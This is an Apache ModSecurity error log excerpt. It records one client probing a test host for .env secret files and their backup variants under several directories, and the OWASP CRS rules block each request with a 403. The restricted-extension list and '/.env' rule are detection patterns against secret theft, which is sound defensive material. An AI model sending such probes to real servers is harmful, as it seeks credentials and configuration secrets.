[Fri Oct 24 20:58:34.517438 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.517701 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.517913 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.734543 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.734819 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.735024 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6EwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.912813 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6FAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.913002 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6FAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.913257 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6FAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:34.913422 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMWuJZ4vgAgAbS8ck6FAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:35.613096 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMW-JZ4vgAgAbS8ck6FQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:35.613380 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMW-JZ4vgAgAbS8ck6FQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:35.613747 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMW-JZ4vgAgAbS8ck6FQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:35.613998 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMW-JZ4vgAgAbS8ck6FQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:35.888200 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aPvMW-JZ4vgAgAbS8ck6FgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:35.888452 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aPvMW-JZ4vgAgAbS8ck6FgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:35.888613 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aPvMW-JZ4vgAgAbS8ck6FgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.077321 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6FwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.077574 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6FwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.077766 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6FwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.310638 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.310833 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.311094 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.311292 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.562181 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.562398 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.562639 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.562805 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.728314 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GgAAAAs&quot;], referer: https://www.google.com/
